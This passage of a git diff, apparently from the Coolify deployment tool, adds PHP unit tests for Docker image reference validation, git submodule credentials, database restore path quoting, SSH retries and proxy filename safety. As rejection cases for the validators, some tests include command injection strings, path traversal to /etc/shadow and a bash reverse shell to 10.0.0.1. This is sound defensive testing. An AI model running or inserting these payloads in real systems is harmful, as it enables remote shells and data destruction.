makeDockerRegistryTagPushJob( + pullRequestId: 0, + dockerRegistryImageTag: 'latest', + ); + + $method = $reflection->getMethod('shouldPushDockerRegistryImageTag'); + $method->setAccessible(true); + + expect($method->invoke($job))->toBeTrue(); +}); + +it('skips the configured docker registry image tag for preview deployments', function () { + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); + $job = makeDockerRegistryTagPushJob( + pullRequestId: 42, + dockerRegistryImageTag: 'latest', + ); + + $method = $reflection->getMethod('shouldPushDockerRegistryImageTag'); + $method->setAccessible(true); + + expect($method->invoke($job))->toBeFalse(); +}); + +it('skips pushing a configured docker registry image tag when no tag is set', function () { + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); + $job = makeDockerRegistryTagPushJob( + pullRequestId: 0, + dockerRegistryImageTag: null, + ); + + $method = $reflection->getMethod('shouldPushDockerRegistryImageTag'); + $method->setAccessible(true); + + expect($method->invoke($job))->toBeFalse(); +}); diff --git a/tests/Unit/DockerImageReferenceValidationTest.php b/tests/Unit/DockerImageReferenceValidationTest.php new file mode 100644 index 000000000..5ee85f24b --- /dev/null +++ b/tests/Unit/DockerImageReferenceValidationTest.php @@ -0,0 +1,109 @@ +toBeTrue(); +})->with([ + 'single component' => 'nginx', + 'namespace image' => 'library/nginx', + 'ghcr image' => 'ghcr.io/coollabsio/coolify', + 'repository component with repeated hyphens' => 'ghcr.io/acme/my--service', + 'registry with port' => 'registry.example.com:5000/team/app', + 'digest marker used by existing dockerimage records' => 'nginx@sha256', +]); + +it('rejects docker registry image names with shell metacharacters', function (string $imageName) { + expect(ValidationPatterns::isValidDockerImageName($imageName))->toBeFalse(); +})->with([ + 'command substitution' => 'coolify/poc$(touch /tmp/pwned)', + 'semicolon' => 'coolify/poc;id', + 'backticks' => 'coolify/poc`id`', + 'pipe' => 'coolify/poc|id', + 'logical and' => 'coolify/poc&&id', + 'newline' => "coolify/poc\nid", + 'space' => 'coolify/poc image', + 'tag in image-name-only field' => 'coolify/poc:latest', +]); + +it('accepts valid docker registry image tags', function (string $tag) { + expect(ValidationPatterns::isValidDockerImageTag($tag))->toBeTrue(); +})->with([ + 'latest' => 'latest', + 'version' => 'v1.2.3', + 'uppercase and underscore' => 'PR_123', + 'sha256 hash' => '1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef', + 'legacy sha256 prefixed hash' => 'sha256-1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef', +]); + +it('rejects docker registry image tags with shell metacharacters', function (string $tag) { + expect(ValidationPatterns::isValidDockerImageTag($tag))->toBeFalse(); +})->with([ + 'command substitution' => 'latest$(touch /tmp/pwned)', + 'semicolon' => 'latest;id', + 'backticks' => 'latest`id`', + 'pipe' => 'latest|id', + 'logical and' => 'latest&&id', + 'newline' => "latest\nid", +]); + +it('accepts supported full docker image reference formats', function (string $imageReference) { + $failures = []; + + (new DockerImageFormat)->validate('image', $imageReference, function (string $message) use (&$failures): void { + $failures[] = $message; + }); + + expect($failures)->toBeEmpty(); +})->with([ + 'image with tag' => 'nginx:latest', + 'registry image with tag' => 'ghcr.io/user/app:v1.2.3', + 'image with sha256 digest' => 'nginx@sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef', + 'registry image with sha256 digest' => 'ghcr.io/user/app@sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef', + 'registry port image with tag' => 'localhost:5000/app:latest', +]); + +it('rejects unsupported full docker image reference formats', function (string $imageReference) { + $failures = []; + + (new DockerImageFormat)->validate('image', $imageReference, function (string $message) use (&$failures): void { + $failures[] = $message; + }); + + expect($failures)->not->toBeEmpty(); +})->with([ + 'colon sha256 marker' => 'nginx:sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef', + 'command substitution' => 'nginx:latest$(touch /tmp/pwned)', + 'newline' => "nginx:latest\nid", +]); + +it('stops deployments when a stored docker registry image value is unsafe', function () { + $job = (new ReflectionClass(ApplicationDeploymentJob::class))->newInstanceWithoutConstructor(); + + $application = new Application([ + 'docker_registry_image_name' => 'coolify/poc$(touch /tmp/pwned)', + 'docker_registry_image_tag' => 'latest', + ]); + $deploymentQueue = new ApplicationDeploymentQueue([ + 'docker_registry_image_tag' => null, + ]); + + $jobReflection = new ReflectionClass($job); + foreach ([ + 'application' => $application, + 'application_deployment_queue' => $deploymentQueue, + 'dockerImagePreviewTag' => null, + ] as $property => $value) { + $reflectionProperty = $jobReflection->getProperty($property); + $reflectionProperty->setValue($job, $value); + } + + $method = $jobReflection->getMethod('validateDockerRegistryImageConfiguration'); + + expect(fn () => $method->invoke($job))->toThrow(DeploymentException::class); +}); diff --git a/tests/Unit/GitHubAppSubmoduleCredentialsTest.php b/tests/Unit/GitHubAppSubmoduleCredentialsTest.php new file mode 100644 index 000000000..48f18d2a5 --- /dev/null +++ b/tests/Unit/GitHubAppSubmoduleCredentialsTest.php @@ -0,0 +1,49 @@ +forceFill([ + 'uuid' => 'test-app-uuid', + 'git_repository' => 'coollabsio/private-app', + 'git_branch' => 'main', + 'git_commit_sha' => 'HEAD', + ]); + + $settings = new ApplicationSetting; + $settings->is_git_shallow_clone_enabled = false; + $settings->is_git_submodules_enabled = true; + $settings->is_git_lfs_enabled = false; + $application->setRelation('settings', $settings); + + $source = new GithubApp; + $source->forceFill([ + 'html_url' => 'https://github.com', + 'api_url' => 'https://api.github.com', + 'is_public' => false, + ]); + $application->setRelation('source', $source); + + $result = $application->generateGitImportCommands( + deployment_uuid: 'test-deployment', + exec_in_docker: false, + ); + + expect($result['commands']) + ->not->toContain('git config --global') + ->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' clone --recurse-submodules -b 'main'") + ->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' submodule sync") + ->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' submodule update --init --recursive"); + }); +} diff --git a/tests/Unit/GitSubmoduleCredentialTest.php b/tests/Unit/GitSubmoduleCredentialTest.php new file mode 100644 index 000000000..5ac5c501a --- /dev/null +++ b/tests/Unit/GitSubmoduleCredentialTest.php @@ -0,0 +1,168 @@ +application = new Application; + $this->application->forceFill([ + 'uuid' => 'test-app-uuid', + 'git_commit_sha' => 'HEAD', + ]); + + $settings = new ApplicationSetting; + $settings->is_git_shallow_clone_enabled = false; + $settings->is_git_submodules_enabled = true; + $settings->is_git_lfs_enabled = false; + $this->application->setRelation('settings', $settings); + }); + + test('setGitImportSettings uses provided gitSshCommand for submodule update', function () { + $sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: false, + gitSshCommand: $sshCommand + ); + + expect($result) + ->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive') + ->toContain('git submodule sync'); + }); + + test('setGitImportSettings uses default ssh command when no gitSshCommand provided', function () { + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: false, + ); + + expect($result) + ->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive'); + }); + + test('setGitImportSettings uses provided gitSshCommand for fetch and checkout', function () { + $this->application->git_commit_sha = 'abc123def456'; + $sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: false, + gitSshCommand: $sshCommand + ); + + expect($result) + ->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git -c advice.detachedHead=false checkout'); + }); + + test('setGitImportSettings uses provided gitSshCommand for shallow fetch', function () { + $this->application->git_commit_sha = 'abc123def456'; + $this->application->settings->is_git_shallow_clone_enabled = true; + $sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: false, + gitSshCommand: $sshCommand + ); + + expect($result) + ->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch --depth=1 origin'); + }); + + test('setGitImportSettings uses provided gitSshCommand for lfs pull', function () { + $this->application->settings->is_git_lfs_enabled = true; + $sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: false, + gitSshCommand: $sshCommand + ); + + expect($result) + ->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git lfs pull'); + }); + + test('buildGitCheckoutCommand includes GIT_SSH_COMMAND for submodule update when provided', function () { + $sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa'; + + $method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand'); + $result = $method->invoke($this->application, 'main', $sshCommand); + + expect($result) + ->toContain("git checkout 'main'") + ->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive'); + }); + + test('buildGitCheckoutCommand uses default ssh command for submodule update when none provided', function () { + $method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand'); + $result = $method->invoke($this->application, 'main'); + + expect($result) + ->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive'); + }); + + test('buildGitCheckoutCommand omits submodule update when submodules disabled', function () { + $this->application->settings->is_git_submodules_enabled = false; + + $method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand'); + $result = $method->invoke($this->application, 'main'); + + expect($result) + ->toContain("git checkout 'main'") + ->not->toContain('submodule'); + }); + + test('generateGitImportCommands uses GitLab private key for PR submodule checkout', function () { + $settings = new ApplicationSetting; + $settings->is_git_shallow_clone_enabled = false; + $settings->is_git_submodules_enabled = true; + $settings->is_git_lfs_enabled = false; + + $privateKey = Mockery::mock(PrivateKey::class)->makePartial(); + $privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key'); + + $gitlabSource = Mockery::mock(GitlabApp::class)->makePartial(); + $gitlabSource->shouldReceive('getMorphClass')->andReturn(GitlabApp::class); + $gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn($privateKey); + $gitlabSource->shouldReceive('getAttribute')->with('custom_port')->andReturn(22); + $gitlabSource->shouldReceive('getAttribute')->with('html_url')->andReturn('https://gitlab.com'); + + $application = Mockery::mock(Application::class)->makePartial(); + $application->git_branch = 'main'; + $application->git_commit_sha = 'HEAD'; + $application->setRelation('settings', $settings); + $application->source = $gitlabSource; + $application->shouldReceive('deploymentType')->andReturn('source'); + $application->shouldReceive('customRepository')->andReturn([ + 'repository' => 'git@gitlab.com:user/repo.git', + 'port' => 22, + ]); + $application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource); + + $result = $application->generateGitImportCommands( + deployment_uuid: 'test-uuid', + pull_request_id: 123, + git_type: 'gitlab', + exec_in_docker: false, + ); + + $sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa'; + + expect($result['commands']) + ->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch origin merge-requests/123/head:pr-123-coolify') + ->toContain("git checkout 'pr-123-coolify'") + ->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive') + ->not->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive'); + }); + +}); diff --git a/tests/Unit/Livewire/Database/S3RestoreTest.php b/tests/Unit/Livewire/Database/S3RestoreTest.php index 18837b466..4dfc7f51c 100644 --- a/tests/Unit/Livewire/Database/S3RestoreTest.php +++ b/tests/Unit/Livewire/Database/S3RestoreTest.php @@ -1,16 +1,26 @@ shouldReceive('getMorphClass')->andReturn($modelClass); + $component->resource = $database; + + return $component; +} test('buildRestoreCommand handles PostgreSQL without dumpAll', function () { - $component = new Import; + $component = importFormWithResource('App\Models\StandalonePostgresql'); $component->dumpAll = false; $component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB'; - $database = Mockery::mock('App\Models\StandalonePostgresql'); - $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql'); - $component->resource = $database; - $result = $component->buildRestoreCommand('/tmp/test.dump'); expect($result)->toContain('pg_restore'); @@ -18,30 +28,21 @@ }); test('buildRestoreCommand handles PostgreSQL with dumpAll', function () { - $component = new Import; + $component = importFormWithResource('App\Models\StandalonePostgresql'); $component->dumpAll = true; - // This is the full dump-all command prefix that would be set in the updatedDumpAll method $component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres'; - $database = Mockery::mock('App\Models\StandalonePostgresql'); - $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql'); - $component->resource = $database; - $result = $component->buildRestoreCommand('/tmp/test.dump'); expect($result)->toContain('gunzip -cf /tmp/test.dump'); - expect($result)->toContain('psql -U $POSTGRES_USER postgres'); + expect($result)->toContain('psql -U ${POSTGRES_USER} -d ${POSTGRES_DB:-${POSTGRES_USER:-postgres}}'); }); test('buildRestoreCommand handles MySQL without dumpAll', function () { - $component = new Import; + $component = importFormWithResource('App\Models\StandaloneMysql'); $component->dumpAll = false; $component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE'; - $database = Mockery::mock('App\Models\StandaloneMysql'); - $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql'); - $component->resource = $database; - $result = $component->buildRestoreCommand('/tmp/test.dump'); expect($result)->toContain('mysql -u $MYSQL_USER'); @@ -49,31 +50,23 @@ }); test('buildRestoreCommand handles MariaDB without dumpAll', function () { - $component = new Import; + $component = importFormWithResource('App\Models\StandaloneMariadb'); $component->dumpAll = false; $component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE'; - $database = Mockery::mock('App\Models\StandaloneMariadb'); - $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb'); - $component->resource = $database; - $result = $component->buildRestoreCommand('/tmp/test.dump'); expect($result)->toContain('mariadb -u $MARIADB_USER'); expect($result)->toContain('< /tmp/test.dump'); }); -test('buildRestoreCommand handles MongoDB', function () { - $component = new Import; - $component->dumpAll = false; +test('buildRestoreCommand always appends the MongoDB archive path', function (bool $dumpAll) { + $component = importFormWithResource('App\Models\StandaloneMongodb'); + $component->dumpAll = $dumpAll; $component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive='; - $database = Mockery::mock('App\Models\StandaloneMongodb'); - $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb'); - $component->resource = $database; - $result = $component->buildRestoreCommand('/tmp/test.dump'); expect($result)->toContain('mongorestore'); - expect($result)->toContain('/tmp/test.dump'); -}); + expect($result)->toContain('--archive=/tmp/test.dump'); +})->with([false, true]); diff --git a/tests/Unit/Project/Database/ImportCheckFileButtonTest.php b/tests/Unit/Project/Database/ImportCheckFileButtonTest.php index a305160c0..8d8d29de8 100644 --- a/tests/Unit/Project/Database/ImportCheckFileButtonTest.php +++ b/tests/Unit/Project/Database/ImportCheckFileButtonTest.php @@ -1,15 +1,11 @@ customLocation = ''; - $mockServer = Mockery::mock(Server::class); - $component->server = $mockServer; - // No server commands should be executed when customLocation is empty $component->checkFile(); @@ -17,19 +13,16 @@ }); test('checkFile validates file exists on server when customLocation is filled', function () { - $component = new Import; + $component = new ImportForm; $component->customLocation = '/tmp/backup.sql'; - $mockServer = Mockery::mock(Server::class); - $component->server = $mockServer; - // This test verifies the logic flows when customLocation has a value // The actual remote process execution is tested elsewhere expect($component->customLocation)->toBe('/tmp/backup.sql'); }); test('customLocation can be cleared to allow uploaded file to be used', function () { - $component = new Import; + $component = new ImportForm; $component->customLocation = '/tmp/backup.sql'; // Simulate clearing the customLocation (as happens when file is uploaded) @@ -39,7 +32,7 @@ }); test('validateBucketName accepts valid bucket names', function () { - $component = new Import; + $component = new ImportForm; $method = new ReflectionMethod($component, 'validateBucketName'); // Valid bucket names @@ -51,7 +44,7 @@ }); test('validateBucketName rejects invalid bucket names', function () { - $component = new Import; + $component = new ImportForm; $method = new ReflectionMethod($component, 'validateBucketName'); // Invalid bucket names (command injection attempts) @@ -65,7 +58,7 @@ }); test('validateS3Path accepts valid S3 paths', function () { - $component = new Import; + $component = new ImportForm; $method = new ReflectionMethod($component, 'validateS3Path'); // Valid S3 paths @@ -77,7 +70,7 @@ }); test('validateS3Path rejects invalid S3 paths', function () { - $component = new Import; + $component = new ImportForm; $method = new ReflectionMethod($component, 'validateS3Path'); // Invalid S3 paths (command injection attempts) @@ -97,7 +90,7 @@ }); test('validateServerPath accepts valid server paths', function () { - $component = new Import; + $component = new ImportForm; $method = new ReflectionMethod($component, 'validateServerPath'); // Valid server paths (must be absolute) @@ -108,7 +101,7 @@ }); test('validateServerPath rejects invalid server paths', function () { - $component = new Import; + $component = new ImportForm; $method = new ReflectionMethod($component, 'validateServerPath'); // Invalid server paths diff --git a/tests/Unit/ProxyConfigRecoveryTest.php b/tests/Unit/ProxyConfigRecoveryTest.php index e10d899fe..682407bdf 100644 --- a/tests/Unit/ProxyConfigRecoveryTest.php +++ b/tests/Unit/ProxyConfigRecoveryTest.php @@ -163,7 +163,7 @@ function mockServerWithDbConfig(?string $savedConfig, string $proxyType = 'TRAEF }); it('accepts stored config when YAML parsing fails', function () { - $invalidYaml = "this: is: not: [valid yaml: {{{}}}"; + $invalidYaml = 'this: is: not: [valid yaml: {{{}}}'; $server = mockServerWithDbConfig($invalidYaml, 'TRAEFIK'); // Invalid YAML should not block — configMatchesProxyType returns true on parse failure diff --git a/tests/Unit/ProxyConfigurationSecurityTest.php b/tests/Unit/ProxyConfigurationSecurityTest.php index 72c5e4c3a..4bcb70361 100644 --- a/tests/Unit/ProxyConfigurationSecurityTest.php +++ b/tests/Unit/ProxyConfigurationSecurityTest.php @@ -12,43 +12,69 @@ * - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php */ test('proxy configuration rejects command injection in filename with command substitution', function () { - expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('test$(whoami)', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with semicolon', function () { - expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('config; id > /tmp/pwned', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with pipe', function () { - expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('config | cat /etc/passwd', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with backticks', function () { - expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('config`whoami`.yaml', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with ampersand', function () { - expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('config && rm -rf /', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with redirect operators', function () { - expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('test > /tmp/evil', 'proxy configuration filename')) ->toThrow(Exception::class); - expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('test < /etc/shadow', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects reverse shell payload', function () { - expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename')) ->toThrow(Exception::class); }); +test('proxy configuration rejects path traversal filenames', function (string $filename) { + expect(fn () => validateFilenameSafe($filename, 'proxy configuration filename')) + ->toThrow(Exception::class); +})->with([ + '../VICTIM_FILE', + '../../etc/shadow', + '/etc/passwd', + 'subdir/config.yaml', + 'subdir\\config.yaml', + 'config..yaml', + "config.yaml\0../../etc/passwd", +]); + +test('dynamic proxy components use filename-safe validation', function () { + $deleteComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php'); + $createComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/NewDynamicConfiguration.php'); + + expect($deleteComponent) + ->toContain("validateFilenameSafe(\$file, 'proxy configuration filename')") + ->not->toContain("validateShellSafePath(\$file, 'proxy configuration filename')"); + + expect($createComponent) + ->toContain("validateFilenameSafe(\$this->fileName, 'proxy configuration filename')") + ->not->toContain("validateShellSafePath(\$this->fileName, 'proxy configuration filename')"); +}); + test('proxy configuration escapes filenames properly', function () { $filename = "config'test.yaml"; $escaped = escapeshellarg($filename); @@ -64,20 +90,20 @@ }); test('proxy configuration accepts legitimate Traefik filenames', function () { - expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('my-service.yaml', 'proxy configuration filename')) ->not->toThrow(Exception::class); - expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('app.yml', 'proxy configuration filename')) ->not->toThrow(Exception::class); - expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('router_config.yaml', 'proxy configuration filename')) ->not->toThrow(Exception::class); }); test('proxy configuration accepts legitimate Caddy filenames', function () { - expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('my-service.caddy', 'proxy configuration filename')) ->not->toThrow(Exception::class); - expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('app_config.caddy', 'proxy configuration filename')) ->not->toThrow(Exception::class); }); diff --git a/tests/Unit/S3RestoreSecurityTest.php b/tests/Unit/S3RestoreSecurityTest.php index c224ec48c..51c374af5 100644 --- a/tests/Unit/S3RestoreSecurityTest.php +++ b/tests/Unit/S3RestoreSecurityTest.php @@ -1,8 +1,14 @@ toContain("'my'\\''secret'\\''key'"); }); + +it('quotes restore command temp paths with spaces', function (string $morphClass) { + $component = new class extends ImportForm + { + public string $morphClass; + + public function __get($property) + { + if ($property === 'resource') { + return new class($this->morphClass) + { + public function __construct(private readonly string $morphClass) {} + + public function getMorphClass(): string + { + return $this->morphClass; + } + }; + } + + return parent::__get($property); + } + }; + $component->morphClass = $morphClass; + + $tmpPath = '/tmp/restore_test-may 2026.sql.gz'; + $restoreCommand = $component->buildRestoreCommand($tmpPath); + + expect($restoreCommand) + ->toContain(escapeshellarg($tmpPath)) + ->not->toContain(" {$tmpPath}"); +})->with([ + 'mariadb' => StandaloneMariadb::class, + 'mysql' => StandaloneMysql::class, + 'postgresql' => StandalonePostgresql::class, + 'mongodb' => StandaloneMongodb::class, +]); + +it('quotes dump all restore command temp paths with spaces', function (string $morphClass) { + $component = new class extends ImportForm + { + public string $morphClass; + + public function __get($property) + { + if ($property === 'resource') { + return new class($this->morphClass) + { + public function __construct(private readonly string $morphClass) {} + + public function getMorphClass(): string + { + return $this->morphClass; + } + }; + } + + return parent::__get($property); + } + }; + $component->morphClass = $morphClass; + $component->dumpAll = true; + + $tmpPath = '/tmp/restore_test-may 2026.sql.gz'; + $escapedTmpPath = escapeshellarg($tmpPath); + $restoreCommand = $component->buildRestoreCommand($tmpPath); + + expect($restoreCommand) + ->toContain("gunzip -cf {$escapedTmpPath}") + ->toContain("cat {$escapedTmpPath}") + ->not->toContain("gunzip -cf {$tmpPath}") + ->not->toContain("cat {$tmpPath}"); +})->with([ + 'mariadb' => StandaloneMariadb::class, + 'mysql' => StandaloneMysql::class, + 'postgresql' => StandalonePostgresql::class, +]); diff --git a/tests/Unit/Service/StartServicePullLatestRestartTest.php b/tests/Unit/Service/StartServicePullLatestRestartTest.php new file mode 100644 index 000000000..ce138ba65 --- /dev/null +++ b/tests/Unit/Service/StartServicePullLatestRestartTest.php @@ -0,0 +1,36 @@ +invoke(new StartService, pullLatestImages: true, stopBeforeStart: true))->toBeFalse(); +}); + +it('still stops a service before a regular restart', function () { + $method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting'); + + expect($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: true))->toBeTrue() + ->and($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: false))->toBeFalse(); +}); + +it('routes service restart actions through start service with deferred stop semantics', function () { + $service = Mockery::mock(Service::class); + + $stopService = Mockery::mock(StopService::class); + $stopService->shouldNotReceive('handle'); + app()->instance(StopService::class, $stopService); + + $startService = Mockery::mock(StartService::class); + $startService->shouldReceive('handle') + ->once() + ->with($service, true, true) + ->andReturn('restart queued'); + app()->instance(StartService::class, $startService); + + expect(RestartService::run($service, true))->toBe('restart queued'); +}); diff --git a/tests/Unit/SshRetryMechanismTest.php b/tests/Unit/SshRetryMechanismTest.php index 23e1b867f..62b25b9fc 100644 --- a/tests/Unit/SshRetryMechanismTest.php +++ b/tests/Unit/SshRetryMechanismTest.php @@ -10,12 +10,12 @@ class SshRetryMechanismTest extends TestCase { public function test_ssh_retry_handler_exists() { - $this->assertTrue(class_exists(\App\Helpers\SshRetryHandler::class)); + $this->assertTrue(class_exists(SshRetryHandler::class)); } public function test_ssh_retryable_trait_exists() { - $this->assertTrue(trait_exists(\App\Traits\SshRetryable::class)); + $this->assertTrue(trait_exists(SshRetryable::class)); } public function test_retry_on_ssh_connection_errors() @@ -50,6 +50,24 @@ public function test_is_retryable_ssh_error($error) } } + public function test_generic_ssh_exit_255_error_is_retryable() + { + $handler = new class + { + use SshRetryable; + + // Make methods public for testing + public function test_is_retryable_ssh_error($error) + { + return $this->isRetryableSshError($error); + } + }; + + $this->assertTrue( + $handler->test_is_retryable_ssh_error('SSH command failed with exit code: 255') + ); + } + public function test_non_ssh_errors_are_not_retryable() { $handler = new class @@ -141,6 +159,32 @@ function () use (&$attemptCount) { $this->assertEquals(3, $attemptCount); } + public function test_retry_succeeds_after_generic_ssh_exit_255_failure() + { + $attemptCount = 0; + + config([ + 'constants.ssh.max_retries' => 3, + 'constants.ssh.retry_base_delay' => 0, + ]); + + $result = SshRetryHandler::retry( + function () use (&$attemptCount) { + $attemptCount++; + if ($attemptCount === 1) { + throw new \RuntimeException('SSH command failed with exit code: 255'); + } + + return 'success'; + }, + ['test' => 'generic_ssh_255_retry_test'], + true + ); + + $this->assertEquals('success', $result); + $this->assertEquals(2, $attemptCount); + } + public function test_retry_fails_after_max_attempts() { $attemptCount = 0; diff --git a/versions.json b/versions.json index 78b027918..9c9a405aa 100644 --- a/versions.json +++ b/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.1.1" + "version": "4.1.2" }, "nightly": { "version": "4.2.0" @@ -10,7 +10,7 @@ "version": "1.0.14" }, "realtime": { - "version": "1.0.15" + "version": "1.0.16" }, "sentinel": { "version": "0.0.21"